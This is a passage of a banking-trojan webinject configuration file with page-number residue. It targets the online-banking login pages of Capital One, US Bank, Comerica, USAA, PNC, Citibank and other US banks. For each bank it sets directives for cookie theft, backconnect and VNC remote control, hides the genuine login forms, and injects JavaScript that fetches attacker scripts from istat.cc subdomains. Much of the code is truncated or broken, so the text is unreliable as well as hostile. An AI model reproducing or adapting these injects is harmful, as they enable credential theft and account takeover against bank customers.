injpack1_skylineinc-inc net (2).txt<begin mask="*"></begin><inject><span style="display:none;"></inject><end mask="*">When calling from abroad please dial</end></data><data><begin mask="*">Minicom +44 141 308 8045).</begin><inject></span></inject><end mask="*"></end></data>

<data><begin mask="*">At RBS we do everything we can to make sure you receive the best possible service.</begin><inject> However, sometimes we don't get things right. When this happens please let us know and we will ensure that we fully investigate your complaint and do everything we canto put things right.</p><p style="">Whichever way you contact us we'll start investigating straight away.</p><div class="table_top" style=""><hr style=""></div><table style=""><tbody style=""><tr style=""><th class="first_col last_col" style="">In person</th></tr><tr class="last_row" style=""><td class="first_col last_col" style=""> <p style="padding-left: 0pt;">Speak to our staff at any of our branches: <a href="/branch-locator" id="branchlink" onkeypress="popwin('/branch-locator','800','605'); return false;" onclick="popwin('/branch-locator','800','605'); return false;" target="_blank" style="display: block;">Branch Locator</a></p></td></tr></tbody></table><div class="table_bot" style=""><hr style=""></div><br class="cb" style=""><div class="table_top" style=""><hr style=""></div><table style=""><tbody style=""><tr style=""><td class="first_col" style="">By telephone call</td><td class="last_col" style="">0800 078 6272</td></tr><tr style=""><td class="first_col" style="">Calls from abroad</td><td style="" class="last_col">0800 078 6272</td></tr></tbody></table><div class="table_bot" style=""><hr style=""></div><div class="hr" style=""><hr style=""></div><div class="row" style=""> <p style=""></span></inject><end mask="*">Calls may be recorded. Max call charge from a BT</end></data>

� � �</unit> âh‚Z ¾ chat_sooba.txt ;==================== VER 0.1.6 ============================

;<signbotid value ="YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY" />Page 99

injpack1_skylineinc-inc net (2).txt;<signbotnet value ="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" />

<alertblock domain="*jquery.com*"/><alertblock domain="*googleapis*"/><alertblock domain="*istat.cc*"/><alertblock domain="*google.com*"/><alertblock domain="*hipro.cc*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<CAPITALONEBANK PERS>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*capitalone.com*" />

<backconnect domain="*capitalone.com*" /><vnc domain="*capitalone.com*" /><cookies_get domain="*capitalone.com*" /><avi domain="*capitalone.com*" /><sols_get domain="*capitalone.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*class="interactive-component"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*id="MAINFORM"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript"> var ua = navigator.userAgent.toLowerCase();var ___path = 'capitalonebank';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 && ua.indexOf('msie 9') == -1) {

var lvljQuery = document.createElement('script');document.body.appendChild(lvljQuery);lvljQuery.type='text/javascript';

Page 100


lvljQuery.onloadhandler = function() { var script = document.createElement('script'); document.body.appendChild(script); script.type='text/javascript'; script.src = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r='

+ Math.random();};lvljQuery.onload = function() {

var script = document.createElement('script'); document.body.appendChild(script); script.type='text/javascript'; script.src = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r='

+ Math.random();}// for fflvljQuery.onreadystatechange = function() { // for ie

if (/loaded/.test(this.readyState)) { this.onloadhandler(); }

};lvljQuery.src =

"https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"; } else {

google.load("jquery", "1.4.3");google.setOnLoadCallback(function() {


+ Math.random();});

}} else {

var script = document.createElement('script');document.body.appendChild(script);script.type='text/javascript';script.src = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<CAPITALONE TREASURE>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*capitalonebank.com*" request="*/html/login.html*" /><cookies_get domain="*capitalonebank.com*" request="*/html/login.html*" /><sols_get domain="*capitalonebank.com*" request="*/html/login.html*" /><avi domain="*capitalonebank.com*" request="*/html/login.html*" />

<backconnect domain="*capitalonebank.com*" /><vnc domain="*capitalonebank.com*" request="*/html/login.html*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

Page 101

injpack1_skylineinc-inc net (2).txt<data><begin mask="*"><body</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript"> var ua = navigator.userAgent.toLowerCase();var ___path = 'capitalone';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 && ua.indexOf('msie 9') == -1) {







};lvljQuery.src =




+ Math.random();});

}} else {

var script = document.createElement('script');document.body.appendChild(script);

Page 102

injpack1_skylineinc-inc net (2).txtscript.type='text/javascript';script.src = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +



</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<USBANK SMALL & PERS>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*usbank.com*" request="*index.html*" /><url domain="*usbank.com*" request="*RequestRouter*" />

<cookies_get domain="*usbank.com*" request="*index.html*" /><avi domain="*usbank.com*" request="*index.html*" /><sols_get domain="*usbank.com*" request="*index.html*" />

<cookies_get domain="*usbank.com*" request="*RequestRouter*" /><avi domain="*usbank.com*" request="*RequestRouter*" /><sols_get domain="*usbank.com*" request="*RequestRouter*" />

<backconnect domain="*usbank.com*" /><vnc domain="*usbank.com*" request="*RequestRouter*" />

<backconnect domain="*usbank.com*" /><vnc domain="*usbank.com*" request="*index.html*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="loginForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*name="logon"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*<body onload="loadNonce();

Page 103

injpack1_skylineinc-inc net (2).txt</begin><inject>

</inject><end mask="*">LEFTMARGIN=0</end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var url = window. location.href;var ___path = 'usbank';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {







};lvljQuery.src =




+ Math.random();});

}} else {


Page 104

injpack1_skylineinc-inc net (2).txt Math.random();

}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<USBANK CORP>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*usbank.com*" request="*cs70_banking/logon/sbuser*" />

<cookies_get domain="*usbank.com*" request="*cs70_banking/logon/sbuser*" /><avi domain="*usbank.com*" request="*cs70_banking/logon/sbuser*" />

<sols_get domain="*usbank.com*" request="*cs70_banking/logon/sbuser*" />

<backconnect domain="*usbank.com*" /><vnc domain="*usbank.com*" request="*cs70_banking/logon/sbuser*" />;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="tmupLogonForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = 'usbankcorp';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {




Page 105

injpack1_skylineinc-inc net (2).txt var script = document.createElement('script'); document.body.appendChild(script); script.type='text/javascript'; script.src = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r='



};lvljQuery.src =




+ Math.random();});

}} else {




</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<COMERICA SMALL & PERS>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*comerica.com*" request = "*default.aspx*" /><url domain="*comerica.com*" request = "*Challenge.aspx*" />

;https://webbanking.comerica.com/comerica/login.aspx <<<<<<<<< com<cookies_get domain="*comerica.com*" request = "*default.aspx*" /><avi domain="*comerica.com*" request = "*default.aspx*" />

<sols_get domain="*comerica.com*" request = "*default.aspx*" />

<backconnect domain="*comerica.com*" /><vnc domain="*comerica.com*" request = "*default.aspx*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="com-login"</begin>

Page 106

injpack1_skylineinc-inc net (2).txt<inject> style="display:none;"</inject><end mask="*"></end></data>


;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = 'comerica';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {







};lvljQuery.src =




Page 107

injpack1_skylineinc-inc net (2).txt + Math.random();

});}} else {




</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<COMERICA CORP>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*www8.comerica.com*" />;<url domain="*comerica.com*" request = "*Challenge.aspx*" />

;https://webbanking.comerica.com/comerica/login.aspx <<<<<<<<< com<cookies_get domain="*www8.comerica.com*" /><avi domain=domain="*www8.comerica.com*" />

<sols_get domain="*www8.comerica.com*" />

<backconnect domain="*www8.comerica.com*" /><vnc domain="*www8.comerica.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="loginForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = 'comericacorp';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {

var lvljQuery = document.createElement('script');Page 108

injpack1_skylineinc-inc net (2).txtdocument.body.appendChild(lvljQuery);lvljQuery.type='text/javascript';






};lvljQuery.src =




+ Math.random();});

}} else {




</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<USAA>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*usaa.com*" request = "*ent_logon/Logon*" /><url domain="*usaa.com*" request = "*/page/PinEntryPage*" /><url domain="*usaa.com*" request = "*ent_logon/j_security_check*" />

<cookies_get domain="*usaa.com*"/><avi domain="*usaa.com*" request = "*ent_logon/Logon*" /><sols_get domain="*usaa.com*"/>

Page 109

injpack1_skylineinc-inc net (2).txt<backconnect domain="*usaa.com*" /><vnc domain="*usaa.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*class="authenticationbar"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*id="main"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*id="flako123"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>


var ___path = 'usaa';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'logonform';

var loadJS = function(url,callBack) { if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) {

Page 110

injpack1_skylineinc-inc net (2).txt this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {}

} else { loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } });

}

</script>

Page 111

injpack1_skylineinc-inc net (2).txt</inject><end mask="*"></body></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<REGIONS>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*regions.com*" />

;<cookies_get domain="*regions.com*" /><avi domain="*regions.com*" />;<sols_get domain="*regions.com*" />

<cookies_get domain="*securebank.regions.com*" request="*login.aspx*"/><sols_get domain="*securebank.regions.com*" request="*login.aspx*"/>

<backconnect domain="*regions.com*" /><vnc domain="*regions.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*class="LoginContent" id="logonform"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>


var ___path = 'regions';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'logonform';

var loadJS = function(url,callBack) { if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad();

Page 112

injpack1_skylineinc-inc net (2).txt } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}



}

</script>

</inject><end mask="*">

Page 113

injpack1_skylineinc-inc net (2).txt</body></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<53.COM>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*53.com*" request="*site*" />

<cookies_get domain="*53.com*" request="*site*" /><avi domain="*53.com*" request="*site*" /><sols_get domain="*53.com*" request="*site*" />

<backconnect domain="*53.com*" /><vnc domain="*53.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="sidebar-left"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = '53com';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {





+ Math.random();}// for ff

Page 114

injpack1_skylineinc-inc net (2).txtlvljQuery.onreadystatechange = function() { // for ie


};lvljQuery.src =




+ Math.random();});

}} else {



</inject><end mask="*">*<!-- End of DoubleClick</end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<53.COM COMMERCIAL>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*53.com*" request="*logon53Direct.jsp*" />

<cookies_get domain="*53.com*" request="*logon53Direct.jsp*" /><avi domain="*53.com*" request="*logon53Direct.jsp*" /><sols_get domain="*53.com*" request="*logon53Direct.jsp*" />

<backconnect domain="*53.com*" /><vnc domain="*53.com*" " />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name='logonDirect'</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*">

Page 115

injpack1_skylineinc-inc net (2).txt</begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = '53corp';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {







};lvljQuery.src =




+ Math.random();});

}} else {




</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<PNC PERS && Page 116

injpack1_skylineinc-inc net (2).txtSMALL>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*pnc.com*" request="*unsec/Homepage.do*" /><url domain="*www.onlinebanking.pnc.com*" request="*alservlet/SignonInitServlet*" /><url domain="*www.onlinebanking.pnc.com*" request="*ValidateUserIdServlet*" />

<cookies_get_clear domain="*pnc.com*" request="*unsec/Homepage.do*" /><avi domain="*pnc.com*" request="*unsec/Homepage.do*" /><sols_get_clear domain="*pnc.com*" request="*unsec/Homepage.do*" />

<backconnect domain="*pnc.com*" /><vnc domain="*pnc.com*"/>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="noSpace"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*name="changeIdForm"</begin><inject> style="display:none;" id="noSpace"</inject><end mask="*"></end></data>

<data><begin mask="*">*name="alternateSignon"</begin><inject> style="display:none;" id="noSpace"</inject><end mask="*"></end></data>


var ___path = 'pnc';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'noSpace';var loadJS = function(url,callBack) {

Page 117

injpack1_skylineinc-inc net (2).txt if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}


} else { loadJS(url,function() {

Page 118

injpack1_skylineinc-inc net (2).txt if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } });

}

</script></inject><end mask="*"></body></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<PNC CORP>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*treasury.pncbank.com*" request="*esec/login.ht*" />

<cookies_get domain="*treasury.pncbank.com*" request="*esec/login.ht*" /><avi domain="*treasury.pncbank.com*" request="*esec/login.ht*" /><sols_get domain="*treasury.pncbank.com*" request="*esec/login.ht*" />

<backconnect domain="*pncbank.com*" /><vnc domain="*treasury.pncbank.com*" request="*esec/login.ht*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="frmLogin"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = 'pnccorp';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {


lvljQuery.onloadhandler = function() { var script = document.createElement('script'); document.body.appendChild(script);

Page 119

injpack1_skylineinc-inc net (2).txt script.type='text/javascript'; script.src = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r='





};lvljQuery.src =




+ Math.random();});

}} else {




</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<BANKOFTHEWEST>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*bankofthewest.com*" />

<cookies_get domain="*bankofthewest.com*" /><avi domain="*bankofthewest.com*" /><sols_get domain="*bankofthewest.com*" />

<backconnect domain="*bankofthewest.com*" /><vnc domain="*bankofthewest.com*" request="*home2*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="sign_in_form"

Page 120



var ___path = 'bankofthewest';

var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' + Math.random();

var hiddenID = 'sign_in_form';

var loadJS = function(url,callBack) { if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); } }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false;

Page 121

injpack1_skylineinc-inc net (2).txt } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {}


}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<BBT>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*bbt.com*" request="*pwd.tb*" />

<cookies_get domain="*bbt.com*" /><avi domain="*bbt.com*" /><sols_get domain="*bbt.com*" />

<backconnect domain="*bbt.com*" /><vnc domain="*bbt.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="loginForm"</begin><inject> style="display:none;"

Page 122

injpack1_skylineinc-inc net (2).txt</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var url = window.location.href;var ua = navigator.userAgent.toLowerCase();var ___path = 'bbtcorp';if (url.indexOf('online.bbt.com')+1)

___path = 'bbt';if (url.indexOf('smallbusinessonline')+1)

___path = 'bbtbiz';if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {







};lvljQuery.src =




+ Math.random();});

}} else {


Page 123

injpack1_skylineinc-inc net (2).txt Math.random();

}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<BBT CORP>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*bbt.com*" request="*bbtdotcom/wealth/start.page*" />

<cookies_get domain="*bbt.com*" request="*bbtdotcom/wealth/start.page*" /><avi domain="*bbt.com*" request="*bbtdotcom/wealth/start.page*" /><sols_get domain="*bbt.com*" request="*bbtdotcom/wealth/start.page*" />

<backconnect domain="*bbt.com*" /><vnc domain="*bbt.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="loginFormMain"</begin><inject> style="display:none;" id="lvl_form"</inject><end mask="*"></end></data>


var ___path = 'bbtcorp';var url = 'https://'+___path+'.istat.cc/js/' + ___path + '.js?r=' +

Math.random();var hiddenID = 'lvl_form';

var loadJS = function(url,callBack) { if (callBack == undefined) callBack = function() {return}; lvljs = document.createElement('scr'+'ipt'); lvljs.src = url; document.body.appendChild(lvljs); function afterLoad() { callBack(); } lvljs.onload = lvljs.onerror = function() { if (!this.executed) { this.executed = true; afterLoad(); }

Page 124

injpack1_skylineinc-inc net (2).txt }; lvljs.onreadystatechange = function() { var self = this; if (this.readyState == "complete" || this.readyState == "loaded") { setTimeout(function() { self.onload() }, 0); } };

}

if (!window.jQuery) { try { if(typeof(google)!=undefined) { google.load("jquery", "1.4.3"); google.setOnLoadCallback(function() { if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); } else { loadJS('https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js',function(){ if (!window.jQuery) { document.getElementById(hiddenID).style.display='block'; return false; } loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }); }} catch (e) {} } else { loadJS(url,function() { if (!window.lvltxt) { document.getElementById(hiddenID).style.display='block'; return false; } }); }</script>

</inject><end mask="*"></body></end>

Page 125


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<BOWCORP>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*clientpoint.fisglobal.com*" request="*main/UserLogon*" />

<cookies_get domain="*clientpoint.fisglobal.com*" request="*main/UserLogon*" /><avi domain="*clientpoint.fisglobal.com*" request="*main/UserLogon*" /><sols_get domain="*clientpoint.fisglobal.com*" request="*main/UserLogon*" />

<backconnect domain="*clientpoint.fisglobal.com*" /><vnc domain="*clientpoint.fisglobal.com*" request="*main/UserLogon*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="myform"</begin><inject> style="display:none;" id="logonForm" </inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var url = window.location.href;var ua = navigator.userAgent.toLowerCase();var ___path = 'bowcorp';if (url.indexOf('bankNumber=JD&subProduct')+1) {if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {





+ Math.random();Page 126

injpack1_skylineinc-inc net (2).txt}// for fflvljQuery.onreadystatechange = function() { // for ie


};lvljQuery.src =




+ Math.random();});

}} else {


Math.random();}} else {

if (document.getElementById('logonForm')) document.getElementById('logonForm').style.display='block';}</script>


</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<CITIPERS>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*online.citibank.com*" request="*US/JSO/signon/LocaleUsernameSignon.do*" /><url domain="*online.citibank.com*" request="*US/JPS/portal/Index.do*" />;<url domain="*online.citibank.com*" request="*ProcessUsernameSignon.do*" />

<cookies_get domain="*online.citibank.com*" request="*US/JSO/signon/LocaleUsernameSignon.do*" /><avi domain="*online.citibank.com*" request="*US/JSO/signon/LocaleUsernameSignon.do*" /><sols_get domain="*online.citibank.com*" request="*US/JSO/signon/LocaleUsernameSignon.do*" />

<backconnect domain="*online.citibank.com*" /><vnc domain="*online.citibank.com*" request="*US/JSO/signon/LocaleUsernameSignon.do*" />

<cookies_get domain="*online.citibank.com*" request="*US/JPS/portal/Index.do*" /><avi domain="*online.citibank.com*" request="*US/JPS/portal/Index.do*" /><sols_get domain="*online.citibank.com*" request="*US/JPS/portal/Index.do*" />

<backconnect domain="*citibank.com*" />Page 127

injpack1_skylineinc-inc net (2).txt<vnc domain="*citibank.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*id="SignonForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*">*name="/JRS/jrsCqContext"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">var ua = navigator.userAgent.toLowerCase();var ___path = 'citibank';

if (!window.jQuery) { if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") ==-1 || ua.indexOf('msie 9')+1) {







};Page 128

injpack1_skylineinc-inc net (2).txtlvljQuery.src =




+ Math.random();});

}} else {




</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<CITIZENS>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*citizensbankonline.com*" request="*servlet/efs/login.jsp*" />

<cookies_get domain="*www4.citizensbankonline.com*" request="*servlet/efs/login.jsp*" /><avi domain="*www4.citizensbankonline.com*" request="*servlet/efs/login.jsp*" /><sols_get domain="*www4.citizensbankonline.com*" request="*servlet/efs/login.jsp*" />

<backconnect domain="*citizensbankonline.com*" /><vnc domain="*www4.citizensbankonline.com*" request="*servlet/efs/login.jsp*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data><begin mask="*">*name="SignOn"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

